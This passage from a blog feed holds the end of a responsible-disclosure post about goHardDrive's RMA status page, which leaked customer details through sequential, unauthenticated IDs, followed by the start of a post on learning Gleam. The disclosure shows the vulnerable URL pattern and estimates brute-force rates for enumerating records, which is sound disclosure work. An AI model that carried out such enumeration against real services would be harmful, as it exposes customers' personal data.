&lt;li>The products I was returning and the reason for their return&lt;/li>
&lt;/ul>
&lt;p>I didn&amp;rsquo;t notice how much goHardDrive was exposing until I accidentally mistyped the last digit of my RMA number, and the form showed me the full information for another customer who had returned their merchandise on the same date.&lt;/p>
&lt;p>The URL for this page had the form of:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>https://ghdwebapps.com/rma/check?rmaNo=GHD12345&amp;amp;fromButton=1
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It would be trivial to write a script that sends an HTTP GET request replacing &lt;code>12345&lt;/code> with every number from 00001 to 99999 and scrapes the personal details of every goHardDrive customer who had requested a return. Even someone with no software development knowledge could just type any RMA number in the form and get all of that customer&amp;rsquo;s data.&lt;/p>
&lt;p>This form was public and had no authentication, rate limits, or CAPTCHA.&lt;/p>
&lt;h2 id="scale-of-leak">Scale of leak&lt;/h2>
&lt;p>I estimate that this leak affected between 10k and 100k customers.&lt;/p>
&lt;p>I can&amp;rsquo;t say for certain how many goHardDrive customers this vulnerability affected, but assuming that goHardDrive started their RMA numbers at &lt;code>10000&lt;/code> or below and increments by one, that means that 10k-100k customers were exposed in this leak.&lt;/p>
&lt;h2 id="goharddrives-attempted-fix">goHardDrive&amp;rsquo;s attempted fix&lt;/h2>
&lt;p>I emailed goHardDrive about this issue on May 21, 2025. To their credit, they responded within two hours to acknowledge the issue and confirm that they would deploy a fix within three to five business days.&lt;/p>
&lt;p>A week later, I hadn&amp;rsquo;t heard anything, so followed up with goHardDrive. They said they&amp;rsquo;d updated the form to prevent attackers from enumerating RMA numbers.&lt;/p>
&lt;p>I checked their RMA form and found that they changed it to require customers to enter their postal code and house number.&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/goharddrive-leak/ghd-zip-search.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/goharddrive-leak/ghd-zip-search_hu_a7ce27c2ec017d3b.webp 300w, https://mtlynch.io/goharddrive-leak/ghd-zip-search_hu_4511e2cf02937d09.webp 600w, https://mtlynch.io/goharddrive-leak/ghd-zip-search.webp 690w'
 src="https://mtlynch.io/goharddrive-leak/ghd-zip-search.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>At first, this seemed sufficient. Given a sequential RMA number, you can trivially guess every other valid RMA number, but what are the odds of guessing an RMA number and the corresponding ZIP code and house number?&lt;/p>
&lt;p>Then, I thought about it more. US ZIP codes are only five digits long, meaning there are only 100k possible ZIP codes. Actually, it&amp;rsquo;s less than half that, as there are only &lt;a href="https://facts.usps.com/42000-zip-codes/">~42k valid ZIP codes&lt;/a>. And ZIP codes are not evenly distributed, so &lt;a href="https://datacommons.org/ranking/Count_Person/CensusZipCodeTabulationArea/country/USA?h=zip%2F14607">certain ZIP codes&lt;/a> are much more common.&lt;/p>
&lt;p>There&amp;rsquo;s a wide range of possible house numbers, but the majority are likely to fall in the range of 1 to 100, likely with heavy clustering in the lower numbers.&lt;/p>
&lt;p>So, the worst case is that an attacker has to try about 42k x 100 = 4.2M possible combinations to leak details associated with an RMA number. Optimizing by common ZIP codes and house numbers probably means the attacker has &amp;gt;50% chance of success after about 50k guesses.&lt;/p>
&lt;p>How long does it take to make 50k guesses against a web API? The security researcher brutecat recently wrote about enumerating phone numbers on a Google web API. They were able to make &lt;a href="https://brutecat.com/articles/leaking-google-phones#time-required-to-brute-the-number">40k HTTP requests per second&lt;/a> on a $0.30/hr cloud server. I doubt goHardDrive&amp;rsquo;s RMA form could &lt;em>serve&lt;/em> 40k requests per second, but I wouldn&amp;rsquo;t be surprised if an attacker could test 1k possibilities per second, meaning that they&amp;rsquo;d have a 50% chance of guessing correctly within about one minute.&lt;/p>
&lt;h2 id="goharddrive-removes-rma-status-checks-entirely">goHardDrive removes RMA status checks entirely&lt;/h2>
&lt;p>I followed up with goHardDrive to tell them that I thought the new mitigations were insufficient.&lt;/p>
&lt;p>I suggested that goHardDrive simplify their RMA status page to publish only the RMA status rather than blurting out all of my personal details. As the customer, I don&amp;rsquo;t need to see my own address, email, and phone number when checking my RMA status. I just want to see when goHardDrive has received my return and when they&amp;rsquo;ve shipped me a replacement. There&amp;rsquo;s no need to publish all of my private details, though I assume it serves some internal process on goHardDrive&amp;rsquo;s side.&lt;/p>
&lt;p>goHardDrive didn&amp;rsquo;t reply, so I followed up a week later to ask if they considered this an issue. They replied a few hours later to say they&amp;rsquo;d remove the RMA status check from their website entirely.&lt;/p>
&lt;p>The following week, I checked back and found that they had indeed taken down their RMA status page. I asked what the new process was for getting RMA status, and goHardDrive said that customers could just email them for status updates.&lt;/p>
&lt;h2 id="bug-bounty">Bug bounty&lt;/h2>
&lt;p>I asked goHardDrive if they offer bug bounties for people who offer coordinated disclosure of security vulnerabilities. goHardDrive said that they had no bug bounty program, but that they refunded $20 of my $330 purchase as a thank you.&lt;/p>
&lt;p>The bounty on an information disclosure of this scale is &lt;a href="https://www.tabcut.com/blog/post/How-I-made-200-in-2-Minutes-on-Hackerone-Zomato-Bug-Bounty-Program-POC">normally hundreds to thousands of dollars&lt;/a>, so $20 is quite low.&lt;/p>
&lt;h2 id="timeline">Timeline&lt;/h2>
&lt;ul>
&lt;li>2025-05-21: I report the vulnerability to goHardDrive.&lt;/li>
&lt;li>2025-05-21: (two hours later) goHardDrive acknowledges the issue and says that they are working on a fix. They say to expect a fix within 3-5 business days.&lt;/li>
&lt;li>2025-05-29: I request a status update from goHardDrive.&lt;/li>
&lt;li>2025-05-29: goHardDrive responds to say that they&amp;rsquo;ve remediated the issue by requiring the customer to enter the matching ZIP code and street number for the RMA.&lt;/li>
&lt;li>2025-06-05: I express concerns to goHardDrive about their new RMA search feature.&lt;/li>
&lt;li>2025-06-20: goHardDrive confirms to me that they&amp;rsquo;ve permanently removed their RMA search form and now share RMA status exclusively over email.&lt;/li>
&lt;/ul>
&lt;h2 id="sidenote-leaks-aside-this-is-a-terrible-return-process">Sidenote: Leaks aside, this is a terrible return process&lt;/h2>
&lt;p>Even if they hadn&amp;rsquo;t leaked all my data, goHardDrive has the worst RMA process of any merchant I&amp;rsquo;ve encountered.&lt;/p>
&lt;p>I originally chose goHardDrive because of glowing reviews about the company on reddit. One user beamed that when they reported a bad drive to goHardDrive, the vendor sent the replacement before even receiving the return and gave the customer a postage-paid label for returning the defective unit:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 875px">



 &lt;a href="https://mtlynch.io/goharddrive-leak/reddit-review.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 875px, 98vw"
 srcset='https://mtlynch.io/goharddrive-leak/reddit-review_hu_bcadbe0fe29b5462.webp 300w, https://mtlynch.io/goharddrive-leak/reddit-review_hu_537a7fd753a03eb5.webp 600w, https://mtlynch.io/goharddrive-leak/reddit-review_hu_cbed45847beb5892.webp 800w, https://mtlynch.io/goharddrive-leak/reddit-review.webp 873w'
 src="https://mtlynch.io/goharddrive-leak/reddit-review.webp" alt="I just bought a 24TB Seagate Exos from them. Installed it yesterday and found it was DOA (motor making a beeping sound and nothing else). Emailed them at 6:30am and they responded that afternoon and had a replacement in the mail with two day shipping (at their expense) before the end of the day. Gave me a pre-paid label to return the defective drive &amp;#39;at my convenience.&amp;#39; Obviously would have been better if it worked on arrival, but they handled it perfectly. Replacement should be here tomorrow, hopefully it works." loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>In my case, two out of the three hard drives I purchased from goHardDrive arrived dead. I wasted a lot of time trying to diagnose hardware issues on my server because I thought it was so unlikely that two separate drives would arrive dead, but I ultimately realized that goHardDrive had simply sent me two dead drives.&lt;/p>
&lt;p>I started the return process and was surprised to find that goHardDrive made me re-enter all of my order and address details.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/goharddrive-leak/ghd-rma-form.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/goharddrive-leak/ghd-rma-form_hu_6eded6350d3c6078.webp 300w, https://mtlynch.io/goharddrive-leak/ghd-rma-form_hu_e85ac430fd1d9bc7.webp 600w, https://mtlynch.io/goharddrive-leak/ghd-rma-form_hu_3c5d5d17418b4093.webp 800w, https://mtlynch.io/goharddrive-leak/ghd-rma-form_hu_8a637347b7a92775.webp 1200w, https://mtlynch.io/goharddrive-leak/ghd-rma-form.webp 1278w'
 src="https://mtlynch.io/goharddrive-leak/ghd-rma-form.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>goHardDrive&amp;rsquo;s RMA form makes customers manually re-enter all of their address and order details.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Normally, an RMA process lets you enter your order number, and the merchant pulls up your information, and you just let them know which item you need to return. With goHardDrive, it was as if they completely forgot who I was in the two weeks since I&amp;rsquo;d made my purchase.&lt;/p>
&lt;p>Also, contrary to the claim on reddit, goHardDrive does not pay return shipping. I had to pay postage out of pocket even though goHardDrive had shipped me broken hardware. Rather than have a replacement in-hand two days after reporting the defect, I had to wait two weeks.&lt;/p>
&lt;p>Finally, goHardDrive never sent any email confirmation or updates throughout the return process. I&amp;rsquo;m glad I thought to photograph my return package before shipping it because I otherwise wouldn&amp;rsquo;t have any record of my RMA number. From checking the insecure RMA status page, I could see my request go from &lt;code>OPEN&lt;/code> to &lt;code>RECEIVED&lt;/code> to &lt;code>CLOSED&lt;/code> with no further information or tracking numbers.&lt;/p></content:encoded></item><item><title>My First Impressions of Gleam</title><link>https://mtlynch.io/notes/gleam-first-impressions/</link><pubDate>Sun, 22 Jun 2025 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/gleam-first-impressions/</guid><description>&lt;p>I&amp;rsquo;m &lt;a href="https://mtlynch.io/notes/which-new-language/">looking for a new programming language&lt;/a> to learn this year, and &lt;a href="https://gleam.run">Gleam&lt;/a> looks like the most fun. It&amp;rsquo;s an Elixir-like language that supports static typing.&lt;/p>
&lt;p>I read the &lt;a href="https://tour.gleam.run/">language tour&lt;/a>, and it made sense to me, but I need to build something before I can judge a programming language well.&lt;/p>
&lt;p>I&amp;rsquo;m sharing some notes on my first few hours using Gleam in case they&amp;rsquo;re helpful to others learning Gleam or to the team developing the language.&lt;/p></description><content:encoded>&lt;p>I&amp;rsquo;m &lt;a href="https://mtlynch.io/notes/which-new-language/">looking for a new programming language&lt;/a> to learn this year, and &lt;a href="https://gleam.run">Gleam&lt;/a> looks like the most fun. It&amp;rsquo;s an Elixir-like language that supports static typing.&lt;/p>
&lt;p>I read the &lt;a href="https://tour.gleam.run/">language tour&lt;/a>, and it made sense to me, but I need to build something before I can judge a programming language well.&lt;/p>
&lt;p>I&amp;rsquo;m sharing some notes on my first few hours using Gleam in case they&amp;rsquo;re helpful to others learning Gleam or to the team developing the language.&lt;/p>
&lt;h2 id="my-project-parsing-old-aim-logs">My project: Parsing old AIM logs&lt;/h2>
&lt;p>I used AOL Instant Messenger from about 1999 to 2007. For most of that time, I used AIM clients that logged my conversations, but they varied in formats. Most of the log formats are XML or HTML, which make re-reading those logs a pain.&lt;/p>
&lt;p>The simplest AIM logs are the plaintext logs, which look like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>Session Start (DumbAIMScreenName:Jane): Mon Sep 12 18:44:17 2005
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[18:44] Jane: hi
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[18:55] Me: hey whats up
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Session Close (Jane): Mon Sep 12 18:56:02 2005
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Every decade or so, I try writing a universal AIM log parser to get all of my old logs into a consistent, readable format. Unfortunately, I always get bored and give up partway through. My last attempt was &lt;a href="https://github.com/mtlynch/chat_unifier">seven years ago&lt;/a>, when I tried doing it in Python 2.7.&lt;/p>
&lt;p>Parsing logs is a great match for Gleam because some parts of the project are easy (e.g., parsing the plaintext logs), so I can do the easy parts while I get the hang of Gleam as a language and gradually build up to the harder log formats and adding a web frontend.&lt;/p>
&lt;p>I&amp;rsquo;ve also heard that functional languages lend themselves especially well to parsing tasks, and I&amp;rsquo;ve never understood why, so it&amp;rsquo;s a good opportunity to learn.&lt;/p>
&lt;h2 id="my-background-in-programming-languages">My background in programming languages&lt;/h2>
&lt;p>I&amp;rsquo;ve been a programmer for 20 years, but I&amp;rsquo;m no language design connoisseur. I&amp;rsquo;m sharing things about Gleam I find unintuitive or difficult to work with, but they&amp;rsquo;re not language critiques, just candid reactions.&lt;/p>
&lt;p>I&amp;rsquo;ve never worked in a langauge that&amp;rsquo;s designed for functional programming. The closest would be JavaScript. The &lt;a href="https://mtlynch.io/notes/which-new-language/#how-much-i-enjoy-various-languages">languages I know best&lt;/a> are Go and Python.&lt;/p>
&lt;h2 id="how-do-i-parse-command-line-args">How do I parse command-line args?&lt;/h2>
&lt;p>The first thing I wanted to do was figure out how to parse a command-line argument so I could call my app like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>./log-parser ~/logs/aim/plaintext
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>But there&amp;rsquo;s no Gleam standard library module for reading command-line arguments. I found &lt;a href="https://hexdocs.pm/glint/">glint&lt;/a>, and it felt super complicated for just reading one command-line argument. Then, I realized there&amp;rsquo;s a simpler third-party library called &lt;a href="https://hexdocs.pm/argv/">argv&lt;/a>.&lt;/p>
&lt;p>I can parse the command-line argument like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-gleam" data-lang="gleam">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">pub&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">main&lt;/span>()&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">case&lt;/span>&lt;span style="color:#666"> &lt;/span>argv.&lt;span style="color:#447fcf">load&lt;/span>().arguments&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>[path]&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>io.&lt;span style="color:#447fcf">println&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;command-line arg is &amp;#34;&lt;/span>&lt;span style="color:#666"> &lt;/span>&amp;lt;&amp;gt;&lt;span style="color:#666"> &lt;/span>path)&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>_&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>io.&lt;span style="color:#447fcf">println&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;Usage: gleam run &amp;lt;directory_path&amp;gt;&amp;#34;&lt;/span>)&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ gleam run ~/whatever
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Compiled in 0.01s
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Running log_parser.main
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>command-line arg is /home/mike/whatever
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Cool, easy enough!&lt;/p>
&lt;h2 id="what-does-gleam-build-do">What does &lt;code>gleam build&lt;/code> do?&lt;/h2>
&lt;p>I got my program to run with &lt;code>gleam run&lt;/code>, but I was curious if I could compile an executable like &lt;code>go build&lt;/code> or &lt;code>zig build&lt;/code> does.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ gleam build
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Compiled in 0.01s
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Hmm, compiled what? I couldn&amp;rsquo;t see a binary anywhere.&lt;/p>
&lt;p>The &lt;a href="https://gleam.run/command-line-reference/#build">documentation for &lt;code>gleam build&lt;/code>&lt;/a> just says &amp;ldquo;Build the project&amp;rdquo; but doesn&amp;rsquo;t explain &lt;em>what&lt;/em> it builds or where it stores the build artifact.&lt;/p>
&lt;p>There&amp;rsquo;s a &lt;code>build&lt;/code> directory, but it doesn&amp;rsquo;t produce an obvious executable.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ rm -rf build &amp;amp;&amp;amp; gleam build
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Downloading packages
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Downloaded &lt;span style="color:#3677a9">5&lt;/span> packages in 0.00s
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Compiling argv
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Compiling gleam_stdlib
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Compiling filepath
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Compiling gleeunit
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Compiling simplifile
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Compiling log_parser
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Compiled in 0.52s
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ ls -1 build/
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>dev
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>gleam-dev-erlang.lock
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>gleam-dev-javascript.lock
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>gleam-lsp-erlang.lock
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>gleam-lsp-javascript.lock
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>gleam-prod-erlang.lock
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>gleam-prod-javascript.lock
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>packages
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>From poking around, I think the executables are under &lt;code>build/dev/erlang/log_parser/ebin/&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ ls -1 build/dev/erlang/log_parser/ebin/
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>log_parser.app
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>log_parser.beam
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>log_parser@@main.beam
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>log_parser_test.beam
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>plaintext_logs.beam
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>plaintext_logs_test.beam
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Those appear to be BEAM bytecode, so I can&amp;rsquo;t execute them directly. I assume I could get run the BEAM VM manually and execute those files somehow, but that doesn&amp;rsquo;t sound appealing.&lt;/p>
&lt;p>So, I&amp;rsquo;ll stick to &lt;code>gleam run&lt;/code> to run my app, but I wish &lt;code>gleam build&lt;/code> had a better explanation of what it produced and what the developer can do with it.&lt;/p>
&lt;h2 id="let-me-implement-the-simplest-possible-parser">Let me implement the simplest possible parser&lt;/h2>
&lt;p>To start, I decided to write a function that does basic parsing of plaintext logs.&lt;/p>
&lt;p>So, I wrote a test with what I wanted.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-gleam" data-lang="gleam">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">pub&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">parse_simple_plaintext_log_test&lt;/span>()&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">Session Start (DumbAIMScreenName:Jane): Mon Sep 12 18:44:17 2005
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">[18:44] Jane: hi
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">[18:55] Me: hey whats up
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">Session Close (Jane): Mon Sep 12 18:56:02 2005
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>|&amp;gt;&lt;span style="color:#666"> &lt;/span>string.trim&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>|&amp;gt;&lt;span style="color:#666"> &lt;/span>plaintext_logs.parse&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>|&amp;gt;&lt;span style="color:#666"> &lt;/span>should.&lt;span style="color:#447fcf">equal&lt;/span>([&lt;span style="color:#ed9d13">&amp;#34;hi&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;hey whats up&amp;#34;&lt;/span>])&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Eventually, I want to parse all the metadata in the conversation, including names, timestamps, and session information. But as a first step, all my function has to do is read an AIM chat log as a string and emit a list of the chat messages as separate strings.&lt;/p>
&lt;p>That meant my actual function would look like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-gleam" data-lang="gleam">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">pub&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">parse&lt;/span>(contents:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">String&lt;/span>)&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">List&lt;/span>(&lt;span style="color:#447fcf;text-decoration:underline">String&lt;/span>)&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#999;font-style:italic">// Note: todo is a Gleam language keyword to indicate unfinished code.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">todo&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Just to get it compiling, I add in a dummy implementation:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-gleam" data-lang="gleam">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">pub&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">parse&lt;/span>(contents:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">String&lt;/span>)&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">List&lt;/span>(&lt;span style="color:#447fcf;text-decoration:underline">String&lt;/span>)&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>[&lt;span style="color:#ed9d13">&amp;#34;fake&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;data&amp;#34;&lt;/span>]&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And I can test it like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ gleam &lt;span style="color:#24909d">test&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Compiling log_parser
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>warning: Unused variable
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ┌─ /home/mike/code/gleam-log-parser2/src/plaintext_logs.gleam:1:14
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> │
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#3677a9">1&lt;/span> │ pub fn parse(contents: String) -&amp;gt; List(String) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> │ ^^^^^^^^^^^^^^^^ This variable is never used
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Hint: You can ignore it with an underscore: &lt;span style="color:#ed9d13">`&lt;/span>_contents&lt;span style="color:#ed9d13">`&lt;/span>.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Compiled in 0.22s
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Running log_parser_test.main
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>F
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Failures:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 1) plaintext_logs_test.parse_simple_plaintext_log_test: module &lt;span style="color:#ed9d13">&amp;#39;plaintext_logs_test&amp;#39;&lt;/span>
